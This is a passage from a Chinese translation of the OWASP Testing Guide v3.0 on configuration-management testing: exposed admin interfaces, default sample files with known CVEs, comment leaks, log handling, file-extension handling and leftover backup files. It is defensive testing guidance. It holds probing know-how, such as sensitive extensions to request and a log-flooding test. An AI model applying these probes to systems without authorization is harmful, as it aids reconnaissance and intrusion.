就 能 损 害 或 破 坏 应 用 程 序 体 系 结 构 。 因 此 , 重 要 的 是 :<br />

• 列 出 所 有 可 能 的 管 理 接 口 。<br />

• 确 定 管 理 接 口 是 否 可 以 从 内 部 网 络 或 互 联 网 访 问 。<br />

• 如 果 可 以 从 互 联 网 访 问 , 测 定 控 制 访 问 这 些 接 口 的 机 制 和 相 关 的 易 受 攻 击 性 。<br />

• 更 改 默 认 用 户 及 密 码 。<br />

一 些 公 司 并 不 管 理 Web 服 务 器 应 用 程 序 的 所 有 方 面 , 可 能 由 其 它 当 事 方 管 理 Web 应 用 程 序 所 提 供 的 内 容 。 这 一 外 部<br />

公 司 可 能 只 提 供 部 分 内 容 ( 新 闻 更 新 或 促 销 活 动 ), 或 者 可 能 完 全 管 理 Web 服 务 器 ( 包 括 内 容 和 代 码 )。 在 这 些 情<br />

况 下 , 通 常 管 理 接 口 对 互 联 网 是 开 放 的 , 因 为 使 用 互 联 网 的 成 本 比 提 供 一 个 专 门 的 连 接 线 通 过 只 有 管 理 功 能 的 接 口<br />

来 获 得 外 部 公 司 对 应 用 程 序 体 系 结 构 的 连 接 要 低 得 多 。 在 这 种 情 况 下 , 测 试 这 个 管 理 接 口 是 否 易 受 漏 洞 攻 击 是 非 常<br />

重 要 的 测 试 。<br />

参 考<br />

白 皮 书<br />

• [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse Proxy from IBM which is part of the Tivoli framework.<br />

• [2] Such as Symantec’s Bugtraq, ISS’ Xforce, or NIST’s National Vulnerability Database (NVD)<br />

• [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.<br />

95


4.3.4 应 用 配 置 管 理 测 试 (OWASP-CM-004)<br />

概 述<br />

对 组 成 应 用 程 序 体 系 结 构 的 各 个 单 元 的 进 行 适 当 配 置 对 于 防 止 出 现 损 坏 整 个 体 系 结 构 安 全 的 错 误 有 着 至 关 重 要 的 作<br />

用 。<br />

问 题 描 述<br />

配 置 审 查 和 测 试 对 于 建 立 和 维 护 这 样 的 体 系 结 构 是 一 个 重 要 任 务 , 因 为 许 多 不 同 的 系 统 通 常 会 有 通 用 的 配 置 , 但 这<br />

些 配 置 可 能 跟 他 们 所 安 装 的 某 个 具 体 站 点 所 执 行 的 任 务 不 匹 配 。 典 型 的 Web 和 应 用 程 序 服 务 器 安 装 将 有 损 很 多 功 能<br />

( 如 应 用 实 例 , 文 档 , 测 试 页 ), 这 些 不 重 要 的 功 能 在 部 署 前 应 该 被 删 除 以 避 免 安 装 后 的 被 非 法 利 用 。<br />

黑 盒 测 试 实 例<br />

实 例 / 已 知 文 件 和 目 录<br />

许 多 Web 服 务 器 和 应 用 程 序 服 务 器 在 默 认 安 装 时 提 供 了 实 例 应 用 程 序 和 文 件 。 提 供 这 些 程 序 和 文 件 是 为 了 方 便 开 发<br />

者 , 同 时 也 为 了 测 试 服 务 器 是 否 在 安 装 后 正 常 工 作 。 然 而 , 许 多 默 认 的 Web 服 务 器 应 用 程 序 在 后 来 得 知 存 在 漏 洞 。<br />

这 是 事 实 , 例 如 ,CVE-1999-0449(Exair 示 例 网 站 安 装 后 发 现 存 在 IIS 拒 绝 服 务 漏 洞 ),CAN-2002-<br />

1744(Microsoft IIS 5.0 中 的 CodeBrws.asp 的 目 录 遍 历 漏 洞 ),CAN-2002-1630 ( 在 Oracle 9iAS 使 用<br />

sendmail.jsp ), 或 CAN-2003-1172( 在 Apache’s Cocoon 查 看 源 代 码 样 本 中 的 目 录 遍 历 漏 洞 ) 。<br />

CGI 扫 描 器 包 括 一 份 详 细 的 已 知 文 件 和 目 录 样 本 的 清 单 。 这 一 清 单 是 由 不 同 的 web 或 应 用 程 序 服 务 器 提 供 , 并 可 能<br />

是 一 个 快 速 确 定 这 些 文 件 是 否 存 在 的 方 法 。 然 而 , 能 真 正 确 保 文 件 存 在 的 唯 一 方 法 是 对 web 服 务 器 和 / 或 应 用 程 序<br />

服 务 器 的 内 容 做 全 面 的 检 测 并 分 析 他 们 是 否 与 应 用 程 序 本 身 有 关 。<br />

审 核 注 释<br />

我 们 常 常 看 到 甚 至 建 议 程 序 员 在 他 们 所 写 的 源 代 码 中 加 入 详 细 的 注 释 , 以 便 其 它 程 序 员 能 更 好 的 理 解 在 编 写 某 一 功<br />

能 时 为 什 幺 采 取 这 样 的 方 法 。 程 序 员 在 开 发 大 型 web 应 用 程 序 时 常 常 也 会 这 幺 做 。 然 后 , 在 HTML 编 码 中 内 嵌 注 释<br />

也 可 能 让 潜 在 攻 击 者 看 到 本 不 应 该 泄 露 给 他 们 的 内 部 信 息 。 有 时 会 因 为 一 个 功 能 已 经 不 需 要 了 而 将 源 代 码 注 释 掉 。<br />

但 是 这 样 的 注 释 会 无 意 地 泄 露 在 返 回 给 用 户 的 HTML 网 页 上 。<br />

为 了 确 认 没 有 任 何 信 息 通 过 注 释 泄 露 , 必 须 对 注 释 加 以 审 查 。 只 有 通 过 对 web 服 务 器 静 态 和 动 态 内 容 的 分 析 以 及 文<br />

件 搜 索 才 能 进 行 全 面 审 查 。 然 而 , 不 管 是 以 自 动 方 式 还 是 指 导 性 方 式 来 存 储 所 有 检 索 的 内 容 来 浏 览 网 站 都 是 有 效<br />

的 。 为 了 分 析 在 编 码 中 可 能 存 在 的 HTMl 注 释 可 以 搜 索 这 些 检 索 内 容 。<br />

96


OWASP 测 试 指 南 v3.0<br />

灰 盒 测 试 实 例<br />

配 置 审 核<br />

Web 服 务 器 或 应 用 程 序 服 务 器 的 配 置 在 保 护 网 站 内 容 方 面 起 着 重 要 作 用 。 为 了 发 现 常 规 配 置 错 误 , 必 须 对 其 仔 细 检<br />

查 。 显 然 , 网 站 策 略 和 服 务 器 软 件 提 供 的 功 能 不 同 , 推 荐 的 配 置 也 不 同 。 然 而 在 大 多 数 情 况 下 , 应 该 遵 守 配 置 指 导<br />

方 针 ( 由 软 件 供 应 商 或 外 部 各 方 提 供 ), 以 确 定 服 务 器 是 否 已 经 相 对 安 全 。 笼 统 地 说 出 服 务 器 应 该 如 何 配 置 是 不 可<br />

能 的 。 但 是 , 我 们 可 以 采 用 一 些 公 用 的 准 则 :<br />

• 只 启 动 应 用 程 序 需 要 的 服 务 器 模 块 ( 例 如 在 IIS 中 的 ISAPI 扩 展 )。 由 于 软 件 模 块 被 禁 用 以 及 服 务 器 规 模<br />

和 复 杂 性 减 小 了 , 从 而 减 少 了 攻 击 面 。 如 果 一 些 漏 洞 存 在 于 已 停 用 的 模 块 中 , 这 一 方 法 还 能 防 止 可 能 出 现<br />

在 供 应 商 的 软 件 中 的 漏 洞 。<br />

• 使 用 定 制 网 页 而 不 是 使 用 默 认 的 Web 服 务 器 的 网 页 处 理 服 务 器 错 误 (40x 或 50x)。 具 体 来 说 , 确 保 任 何 应<br />

用 程 序 错 误 不 会 返 回 给 终 端 用 户 , 以 及 没 有 任 何 编 码 在 这 种 情 况 下 泄 露 。 因 为 这 些 都 会 给 攻 击 者 机 会 。 通<br />

常 , 开 发 者 都 很 容 易 忽 视 了 这 一 点 , 因 为 他 们 确 实 在 开 发 环 境 中 需 要 这 些 信 息 。<br />

• 确 保 服 务 器 软 件 在 操 作 系 统 中 以 最 小 权 限 运 行 。 这 样 可 以 防 止 服 务 器 软 件 的 一 个 错 误 直 接 损 害 整 个 系 统 。<br />

然 而 , 攻 击 者 一 旦 可 以 作 为 web 服 务 器 运 行 代 码 , 他 就 可 能 可 以 非 法 提 升 权 限 。<br />

• 确 保 服 务 器 软 件 可 以 正 确 记 录 合 法 登 录 和 错 误 。<br />

• 确 保 服 务 器 的 配 置 可 以 妥 善 处 理 超 载 , 并 能 防 止 拒 绝 服 务 攻 击 。 确 保 该 服 务 器 已 进 行 适 当 的 性 能 调 整 。<br />

日 志<br />

日 志 是 应 用 程 序 体 系 结 构 安 全 的 一 项 重 要 的 资 产 , 因 为 它 可 以 用 来 检 测 应 用 程 序 的 漏 洞 ( 用 户 不 断 尝 试 获 取 并 不 存<br />

在 的 文 件 ) 以 及 无 赖 用 户 的 持 续 攻 击 。 通 常 ,Web 服 务 器 和 其 它 服 务 器 软 件 可 以 正 确 的 产 生 日 志 , 但 是 通 常 要 找 到<br />

将 各 种 操 作 记 录 到 日 志 中 的 应 用 程 序 并 不 容 易 。 应 用 程 序 日 志 的 主 要 目 的 是 输 出 可 用 于 程 序 员 分 析 特 定 的 错 误 的 调<br />

试 信 息 。<br />

在 这 两 种 情 况 下 ( 服 务 器 和 应 用 程 序 日 志 ) 需 要 基 于 日 志 内 容 测 试 和 分 析 几 个 问 题 :<br />

1. 这 些 日 志 包 含 敏 感 信 息 吗 ?<br />

2. 日 志 是 存 放 在 一 个 专 用 的 服 务 器 上 吗 ?<br />

3. 使 用 日 志 会 产 生 拒 绝 服 务 的 情 况 吗 ?<br />

4. 他 们 如 何 循 环 使 用 ? 日 志 能 保 持 足 够 的 时 间 吗 ?<br />

5. 日 志 如 何 审 查 ? 管 理 员 可 以 利 用 检 查 发 现 特 定 攻 击 吗 ?<br />

6. 如 何 保 存 备 份 日 志 ?<br />

7. 所 记 录 的 数 据 是 否 在 记 录 前 进 行 了 数 据 有 效 性 验 证 。( 最 小 / 最 大 长 度 , 字 符 等 )?<br />

97


日 志 中 的 敏 感 信 息<br />

有 些 应 用 程 序 可 能 , 例 如 , 使 用 GET 请 求 发 送 表 单 数 据 。 这 些 数 据 在 服 务 器 日 志 中 式 能 够 看 到 的 。 这 意 味 着 , 服 务<br />

器 日 志 可 能 包 含 敏 感 信 息 ( 如 用 户 密 码 , 或 银 行 帐 户 详 细 资 料 )。 如 果 攻 击 者 得 到 了 日 志 , 他 就 有 可 能 会 滥 用 这 些<br />

敏 感 的 信 息 , 例 如 , 通 过 管 理 接 口 或 已 知 的 Web 服 务 器 的 漏 洞 或 错 误 配 置 ( 如 众 所 周 知 的 基 于 Apache 的 HTTP 服 务<br />

器 的 服 务 器 状 态 配 置 错 误 )。<br />

此 外 , 在 某 些 管 辖 范 围 内 , 在 日 志 文 件 中 存 储 一 些 敏 感 信 息 , 如 个 人 资 料 , 可 能 会 迫 使 企 业 采 用 在 后 端 数 据 库 中 所<br />

使 用 的 数 据 保 护 法 来 保 护 日 志 文 件 。 如 果 不 这 样 做 , 可 能 在 不 知 不 觉 中 受 到 数 据 保 护 法 的 处 罚 。<br />

日 志 位 置<br />

通 常 情 况 下 , 服 务 器 会 对 各 项 操 作 和 错 误 产 生 本 地 日 志 , 消 耗 服 务 器 运 行 时 的 系 统 磁 盘 空 间 。 然 而 , 如 果 服 务 器 有<br />

漏 洞 , 攻 击 者 就 可 以 修 改 日 志 并 清 空 所 有 关 于 攻 击 和 攻 击 方 法 的 记 录 。 如 果 发 生 这 种 情 况 , 系 统 管 理 员 将 无 法 知 道<br />

攻 击 如 何 发 生 或 攻 击 源 位 于 哪 里 。 实 际 上 , 大 多 数 黑 客 工 具 包 都 包 括 一 个 日 志 消 除 器 , 能 够 清 除 任 何 攻 击 记 录 ( 如<br />

攻 击 者 IP 地 址 ), 这 一 工 具 在 攻 击 者 的 系 统 级 的 rootkit 中 经 常 使 用 。<br />

因 此 , 明 智 的 做 法 是 将 记 录 保 存 在 一 个 单 独 的 位 置 , 而 不 是 在 Web 服 务 器 本 身 。 这 也 更 容 易 聚 集 同 一 种 应 用 程 序<br />

( 如 Web 服 务 器 场 ) 的 不 同 来 源 的 日 志 , 同 时 也 更 容 易 在 不 影 响 服 务 器 本 身 的 情 况 下 做 日 志 分 析 ( 可 能 是 高 强 度 型<br />

CPU 计 算 )。<br />

日 志 存 储<br />

如 果 不 妥 善 保 存 , 日 志 可 以 引 起 拒 绝 服 务 的 情 况 。 显 然 , 除 非 被 发 现 并 拦 截 , 否 则 任 何 有 足 够 资 源 的 攻 击 者 都 可 能<br />

产 生 足 够 数 量 的 请 求 , 从 而 填 满 日 志 文 件 分 配 空 间 。 但 是 , 如 果 服 务 器 没 有 正 确 配 置 , 日 志 文 件 会 被 存 储 在 与 操 作<br />

系 统 软 件 或 应 用 程 序 相 同 的 磁 盘 分 区 。 这 意 味 着 , 如 果 磁 盘 被 占 满 时 , 作 业 系 统 或 应 用 程 序 可 能 会 拒 绝 服 务 , 因 为<br />

它 无 法 写 磁 盘 。<br />

一 般 来 说 , 在 UNIX 系 统 , 日 志 将 设 在 /var( 虽 然 有 些 服 务 器 的 安 装 可 能 设 在 /opt 或 /usr/local), 因 此 确 保 包 含<br />

日 志 的 目 录 在 单 独 的 分 区 十 分 重 要 。 在 某 些 情 况 下 , 为 了 防 止 系 统 日 志 受 到 影 响 , 服 务 器 软 件 的 日 志 目 录 本 身 ( 如<br />

在 Apache Web 服 务 器 的 /var/log/apache) 应 存 放 在 一 个 专 用 的 分 区 。<br />

这 并 不 是 说 , 应 当 允 许 日 志 增 长 到 填 满 他 们 存 储 的 整 个 文 件 系 统 。 服 务 器 日 志 的 增 长 应 该 监 控 这 个 情 况 , 因 为 这 是<br />

遭 受 攻 击 的 现 象 。<br />

测 试 这 种 情 况 很 简 单 , 只 要 提 出 足 够 的 持 续 的 大 量 请 求 , 查 看 这 些 请 求 是 否 被 记 录 , 如 果 记 录 了 , 通 过 这 些 请 求 是<br />

否 可 能 填 满 日 志 存 储 区 间 , 在 产 品 环 境 中 这 也 是 很 危 险 的 。 在 某 些 环 境 下 , 无 论 是 否 是 通 过 GET 或 POST 请 求 产 生<br />

的 ,QUERY_STRING 参 数 也 会 记 录 在 日 志 中 。 产 生 大 的 查 询 可 以 更 快 地 填 充 日 志 。 因 为 通 常 情 况 下 , 一 个 单 一 的 请 求<br />

只 会 对 日 志 产 生 少 量 的 数 据 : 日 期 和 时 间 , 源 IP 地 址 ,URL 要 求 , 与 服 务 器 的 结 果 。<br />

循 环 使 用 日 志<br />

大 多 数 服 务 器 ( 除 了 少 数 自 定 义 应 用 程 序 ) 为 了 防 止 日 志 填 满 整 个 文 件 系 统 会 对 记 录 进 行 循 环 使 用 。 在 进 行 循 环 使<br />

用 日 志 时 的 一 个 假 设 是 记 录 中 的 信 息 只 在 有 限 的 时 间 内 需 要 。<br />

98


OWASP 测 试 指 南 v3.0<br />

测 试 此 功 能 以 确 保 :<br />

• 日 志 会 在 安 全 策 略 所 定 义 的 时 间 内 被 不 多 不 少 的 保 留 。<br />

• 日 志 循 环 使 用 时 进 行 了 压 缩 ( 这 是 为 了 更 方 便 , 因 为 这 将 意 味 着 更 多 的 日 志 将 被 储 存 在 同 样 大 小 的 可 用 磁<br />

盘 空 间 )<br />

• 被 循 环 使 用 的 日 志 文 件 的 文 件 系 统 权 限 和 日 志 文 件 本 身 应 是 相 同 的 ( 或 更 严 格 )。 例 如 , Web 服 务 器 需 要 写<br />

入 他 们 使 用 的 日 志 , 但 他 们 实 际 上 并 不 需 要 写 入 已 被 循 环 使 用 的 日 志 。 也 就 是 说 为 了 防 止 web 服 务 器 进 程<br />

修 改 已 被 循 环 使 用 的 文 件 , 文 件 的 权 限 可 以 在 循 环 使 用 时 调 整 。<br />

一 些 服 务 器 可 能 在 达 到 一 定 大 小 时 循 环 使 用 日 志 。 如 果 发 生 这 种 情 况 , 必 须 确 保 攻 击 者 无 法 强 制 循 环 使 用 日 志 以 掩<br />

盖 其 行 踪 。<br />

日 志 审 查<br />

审 查 日 志 不 仅 仅 用 于 从 Web 服 务 器 中 提 取 文 件 使 用 的 统 计 数 据 ( 通 常 为 大 多 数 基 于 日 志 的 应 用 程 序 所 关 注 ), 而 且<br />

还 可 用 于 确 定 在 web 服 务 器 是 否 发 生 了 攻 击 。<br />

为 了 分 析 对 Web 服 务 器 的 攻 击 , 需 要 对 服 务 器 错 误 日 志 文 件 加 以 分 析 。 审 查 应 集 中 于 :<br />

• 40x ( 未 找 到 ) 错 误 信 息 。 同 一 来 源 的 大 量 的 这 些 错 误 信 息 可 能 表 明 web 服 务 器 遭 受 了 CGI 扫 描 器 攻 击<br />

• 50x ( 服 务 器 错 误 ) 信 息 。 这 些 可 以 表 明 攻 击 者 滥 用 应 用 程 序 某 些 部 分 导 致 的 意 外 失 败 。 例 如 , 当 SQL 查<br />

询 没 有 正 确 组 建 同 时 在 后 端 数 据 库 中 执 行 失 败 时 ,SQL 注 入 攻 击 的 第 一 阶 段 会 产 生 这 些 错 误 信 息 。<br />

日 志 统 计 和 分 析 不 应 该 在 产 生 日 志 的 同 一 台 服 务 器 上 生 成 并 存 储 。 否 则 的 话 , 攻 击 者 可 能 会 利 用 一 个 Web 服 务 器 漏<br />

洞 或 不 当 的 配 置 进 而 获 得 这 些 本 应 由 日 志 文 件 本 身 揭 露 的 信 息 。<br />

参 考<br />

白 皮 书<br />

Generic:<br />

• CERT Security Improvement Modules: Securing Public Web Servers - http://www.cert.org/security-improvement/<br />

• Apache<br />

• Apache Security, by Ivan Ristic, O’reilly, march 2005.<br />

• Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 - http://www.awe.com/mark/apcon2003/<br />

• Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 -<br />

http://www.awe.com/mark/apcon2002<br />

• Apache Security Configuration Document, InterSect Alliance -<br />

http://www.intersectalliance.com/projects/ApacheConfig/index.html<br />

• Performance Tuning - http://httpd.apache.org/docs/misc/perf-tuning.html<br />

99


Lotus Domino<br />

• Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection<br />

• Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002<br />

• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,<br />

• NGSSoftware Insight Security Research, available at www.nextgenss.com<br />

• Microsoft IIS<br />

• IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www.securityfocus.com/print/infocus/1765<br />

• Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004<br />

• IIS Security and Programming Countermeasures, by Jason Coombs<br />

• From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001<br />

• Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000<br />

• “How To: Use IISLockdown.exe” - http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp<br />

• “INFO: Using URLScan on IIS” - http://support.microsoft.com/default.aspx?scid=307608<br />

• Red Hat’s (formerly Netscape’s) iPlanet<br />

• Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes<br />

• The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001<br />

WebSphere<br />

• IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.<br />

• IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002<br />

4.3.5 文 件 扩 展 名 处 理 测 试 (OWASP-CM-005)<br />

概 述<br />

文 件 扩 展 名 常 用 在 Web 服 务 器 中 文 件 扩 展 名 常 用 来 确 定 在 web 服 务 器 中 为 了 完 成 web 请 求 需 要 使 用 哪 些 技 术 / 语 言 /<br />

插 件 。<br />

虽 然 这 种 行 为 与 RFCs 和 Web 标 准 一 致 , 使 用 标 准 的 文 件 扩 展 名 却 给 尝 试 渗 透 者 提 供 了 关 于 web 设 备 中 底 层 技 术 方<br />

面 的 有 用 信 息 , 并 大 大 简 化 了 确 定 用 在 特 殊 技 术 上 的 可 用 攻 击 方 案 的 任 务 。<br />

此 外 , 在 Web 服 务 器 上 的 错 误 配 置 可 以 很 容 易 地 暴 露 访 问 凭 证 的 机 密 信 息 。<br />

问 题 描 述<br />

确 定 Web 服 务 器 如 何 处 理 有 不 同 扩 展 名 的 相 关 文 件 的 请 求 可 能 有 助 于 理 解 确 定 web 服 务 器 如 何 处 理 对 不 同 扩 展 名 的<br />

相 关 文 件 的 请 求 可 能 有 助 于 理 解 Web 服 务 器 的 行 为 , 这 些 行 为 取 决 于 我 们 尝 试 访 问 的 文 件 种 类 。 例 如 , 它 可 以 帮 助<br />

了 解 哪 些 文 件 扩 展 名 将 以 纯 文 本 格 式 返 回 以 及 哪 些 在 服 务 器 端 执 行 。 后 者 标 识 了 Web 服 务 器 或 应 用 程 序 服 务 器 所 使<br />

用 的 技 术 / 语 言 / 插 件 。 同 时 后 者 可 能 提 供 了 更 多 的 web 应 用 程 序 如 何 被 设 计 的 信 息 。 例 如 ,“.pl” 扩 展 名 通 常 与<br />

服 务 器 端 的 Perl 支 持 有 关 ( 尽 管 文 件 扩 展 名 就 可 能 具 有 欺 骗 性 , 并 没 有 确 定 性 ; 如 Perl 服 务 器 端 资 源 可 能 为 掩 盖<br />

与 Perl 相 关 的 事 实 而 更 名 )。 另 见 下 一 节 的 “Web 服 务 器 组 件 ” 了 解 更 多 关 于 确 定 服 务 器 端 的 技 术 和 组 件 。<br />

100


OWASP 测 试 指 南 v3.0<br />

黑 盒 测 试 实 例<br />

提 交 HTTP[s] 请 求 涉 及 到 不 同 的 文 件 扩 展 名 , 并 检 查 它 们 是 如 何 被 处 理 的 。 这 些 核 查 应 该 以 每 个 网 页 目 录 为 基 础 。<br />

验 证 允 许 脚 本 执 行 的 目 录 。Web 服 务 器 的 目 录 可 以 通 过 漏 洞 扫 描 确 认 , 以 寻 找 其 中 存 在 的 众 所 周 知 的 目 录 。 此 外 ,<br />

对 网 站 结 构 进 行 镜 像 处 理 可 以 重 建 应 用 程 序 服 务 的 web 目 录 树 。<br />

如 果 Web 应 用 程 序 体 系 结 构 采 用 了 负 载 平 衡 , 那 幺 访 问 所 有 web 服 务 器 将 十 分 重 要 。 评 估 情 况 取 决 于 平 衡 系 统 的 基<br />

础 结 构 的 配 置 , 可 能 很 容 易 , 也 可 能 很 难 。 在 有 冗 余 部 件 的 基 础 结 构 中 , 单 个 web/ 应 用 程 序 服 务 器 配 置 上 可 能 会 有<br />

轻 微 变 化 。 例 如 : 如 果 web 体 系 结 构 采 用 了 异 构 技 术 , 这 样 的 情 况 就 会 发 生 。( 一 套 处 于 负 载 平 衡 配 置 的 IIS 和<br />

ApacheWeb 服 务 器 可 能 在 他 们 之 间 存 在 轻 微 的 不 对 称 行 为 , 并 可 能 存 在 不 同 的 漏 洞 )。<br />

例 :<br />

已 经 确 定 存 在 名 为 connection.inc 的 文 件 。 尝 试 着 直 接 访 问 这 个 文 件 , 而 得 到 的 返 回 结 果 内 容 如 下 面 :<br />

<br />

我 们 就 可 以 确 定 存 在 一 个 后 端 MySQL DBMS, 并 存 在 一 个 web 应 用 程 序 用 来 进 入 后 端 的 ( 弱 ) 凭 证 。 这 个 例 子 ( 在<br />

真 实 评 估 中 发 生 ) 说 明 某 些 文 件 可 被 外 部 访 问 是 极 其 危 险 的 。<br />

下 面 的 文 件 扩 展 名 决 不 能 由 web 服 务 器 返 回 , 因 为 他 们 关 系 到 包 含 敏 感 信 息 的 文 件 或 完 全 没 理 由 去 返 回 这 些 文 件 。<br />

• .asa<br />

• .inc<br />

下 面 的 文 件 扩 展 名 关 系 到 一 些 文 件 名 。 一 旦 访 问 这 些 文 件 , 浏 览 器 就 会 显 示 或 下 载 这 些 文 件 。 因 此 , 确 认 对 带 有 下<br />

面 扩 展 名 的 文 件 是 否 确 实 需 要 提 供 服 务 ( 不 是 多 余 的 ), 并 确 定 他 们 不 包 含 敏 感 信 息 .<br />

• .zip, .tar, .gz, .tgz, .rar, ...: ( 压 缩 ) 存 档 文 件<br />

• .java: 没 有 理 由 提 供 对 Java 源 代 码 文 件 的 访 问<br />

• .txt: 文 本 文 件<br />

• .pdf: PDF 文 档<br />

• .doc, .rtf, .xls, .ppt, ...: Office 文 档<br />

101


• .bak, .old 和 其 它 表 示 备 份 的 文 件 扩 展 名 ( 例 如 : ~ 对 于 Emacs 的 backup 文 件 )<br />

上 面 的 列 表 只 详 细 列 明 了 一 些 例 子 。 但 是 文 件 扩 展 名 太 多 了 , 不 可 能 一 一 列 出 来 。 可 以 登 录 http://filext.com/ 查 看<br />

更 完 整 的 扩 展 名 数 据 库 。<br />

总 而 言 之 , 为 了 鉴 定 有 扩 展 名 的 文 件 , 需 要 采 取 混 合 措 施 , 包 括 : 漏 洞 扫 描 , 蜘 蛛 工 具 和 镜 像 工 具 , 手 工 检 测 应 用<br />

程 序 ( 这 一 方 法 克 服 了 自 动 蜘 蛛 工 具 的 局 限 性 ), 查 询 搜 索 引 擎 ( 详 情 查 看 Spidering and googling)。 同 时 请 查 看<br />

Old file testing, 处 理 与 “ 被 遗 忘 ” 文 档 相 关 的 安 全 问 题 。<br />

灰 盒 测 试 实 例<br />

对 文 件 扩 展 名 进 行 白 盒 测 试 , 检 查 组 成 web 应 用 程 序 体 系 结 构 的 web 服 务 器 / 应 用 程 序 服 务 器 的 配 置 情 况 , 确 认 它<br />

们 如 何 服 务 不 同 的 文 件 扩 展 名 。 如 果 web 应 用 程 序 依 靠 负 载 平 衡 和 异 构 架 构 , 那 幺 确 定 是 否 会 导 致 不 同 的 行 为 。<br />

参 考<br />

工 具<br />

• Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow as well<br />

downloading the web site structure, which is helpful when trying to determine the configuration of web directories and how<br />

individual file extensions are served. Other tools that can be used for this purpose include:<br />

• wget - http://www.gnu.org/software/wget<br />

• curl - http://curl.haxx.se<br />

• Google for “web mirroring tools”.<br />

4.3.6 过 时 的 、 用 于 备 份 的 以 及 未 被 引 用 的 文 件 (OWASP-CM-006)<br />

概 述<br />

虽 然 在 Web 服 务 器 中 的 大 多 数 文 件 是 由 服 务 器 本 身 直 接 处 理 的 , 但 是 通 过 找 到 未 被 引 用 的 和 / 或 被 遗 忘 的 文 件 而 获<br />

得 关 于 基 础 结 构 或 凭 证 的 重 要 信 息 的 现 象 并 不 少 见 。<br />

最 常 见 的 情 景 包 括 存 在 对 修 订 文 件 的 老 版 本 的 重 新 命 名 的 文 件 , 有 语 言 选 择 的 包 含 文 件 可 以 作 为 资 源 下 载 , 或 者 是<br />

以 压 缩 存 档 形 式 存 在 的 自 动 或 者 手 工 进 行 的 备 份 文 件 。<br />

所 有 这 些 文 件 可 能 让 渗 透 测 试 者 访 问 到 内 部 运 作 , 后 门 , 管 理 接 口 , 更 甚 至 是 与 管 理 接 口 或 数 据 库 服 务 器 相 关 联 的<br />

凭 证 。<br />

102


OWASP 测 试 指 南 v3.0<br />

问 题 描 述<br />

漏 洞 的 一 个 重 要 来 源 就 是 与 应 用 无 任 何 关 系 的 文 件 。 这 些 文 件 是 由 修 改 应 用 文 件 产 生 的 , 或 者 是 由 即 兴 产 生 的 备 份<br />

副 本 产 生 的 , 或 者 是 由 web 树 中 旧 的 或 者 未 被 引 用 的 文 件 遗 留 下 来 的 。 对 web 产 品 服 务 器 进 行 就 地 编 辑 或 其 它 管 理<br />

操 作 可 能 会 不 经 意 地 遗 留 备 份 副 本 ( 要 幺 是 在 编 辑 文 件 时 编 辑 器 自 动 产 生 的 , 要 幺 是 管 理 员 创 建 备 份 文 件 时 压 缩 一<br />

组 文 件 产 生 的 )。<br />

这 些 文 件 特 别 容 易 被 人 忘 记 , 这 就 可 能 对 应 用 程 序 构 成 严 重 的 安 全 威 胁 。 这 是 因 为 备 份 副 本 所 产 生 的 是 和 原 始 文 件<br />

名 不 同 的 文 件 扩 展 名 。 产 生 的 ( 并 且 被 遗 忘 的 ).tar, .zip 或 .gz 档 案 文 件 有 明 显 不 同 的 扩 展 名 , 许 多 编 辑 器 自 动<br />

创 建 的 副 本 同 样 如 此 ( 如 , 当 编 辑 文 件 时 ,Emacs 的 生 成 一 个 名 时 为 file~ 的 备 份 文 件 )。 手 动 复 制 可 能 产 生 同 样 的<br />

影 响 ( 如 复 制 file 到 file.old)。<br />

因 此 , 这 些 活 动 都 会 产 生 a) 应 用 程 序 不 需 要 的 文 件 ,b) 对 比 原 始 文 件 ,web 服 务 器 会 进 行 不 同 处 理 方 式 。 例 如 ,<br />

如 果 我 们 复 制 login.asp 并 命 名 为 login.asp.old, 我 们 则 是 在 允 许 用 户 下 载 login.asp 的 源 代 码 ; 这 是 由 于 它 的<br />

扩 展 名 ,login.asp.old 通 常 是 被 作 为 纯 文 本 文 档 返 回 而 不 是 被 执 行 。 换 言 之 , 访 问 login.asp 会 执 行 login.asp<br />

服 务 器 端 代 码 , 但 是 访 问 login.asp.old 会 导 致 login.asp.old 内 容 ( 这 还 是 服 务 器 端 代 码 ) 以 纯 文 本 方 式 返 回 给<br />

用 户 并 显 示 在 浏 览 器 上 。 因 为 敏 感 信 息 可 能 由 此 泄 露 了 , 所 以 这 就 产 生 了 安 全 风 险 。 通 常 泄 露 服 务 器 端 代 码 是 个 麻<br />

烦 事 , 你 不 仅 会 不 必 要 地 泄 露 你 的 商 业 逻 辑 , 而 且 会 在 不 知 不 觉 中 泄 露 给 攻 击 者 应 用 层 信 息 ( 路 径 , 数 据 结 构<br />

等 ); 更 不 要 说 有 很 多 嵌 入 了 纯 文 本 的 用 户 名 / 密 码 的 脚 本 ( 这 是 个 粗 心 的 , 同 时 也 是 非 常 危 险 的 做 法 )。<br />

某 些 设 计 和 配 置 选 择 允 许 各 种 不 同 应 用 程 序 相 关 的 文 件 , 如 数 据 文 件 , 配 置 文 件 , 日 志 文 件 , 并 将 其 存 储 在 文 件 系<br />

统 目 录 中 , 且 可 以 由 web 服 务 器 访 问 , 这 也 是 存 在 未 被 引 用 文 件 的 原 因 。 因 为 这 些 文 件 应 该 只 能 由 应 用 程 序 本 身 通<br />

过 应 用 层 访 问 ( 而 不 是 由 任 意 用 户 随 意 浏 览 !), 他 们 通 常 不 应 该 存 储 在 通 过 web 可 以 访 问 的 文 件 系 统 中 。<br />

威 胁<br />

过 时 文 件 , 备 份 文 件 和 未 被 引 用 文 件 对 一 个 Web 应 用 程 序 的 安 全 存 在 多 种 威 胁 :<br />

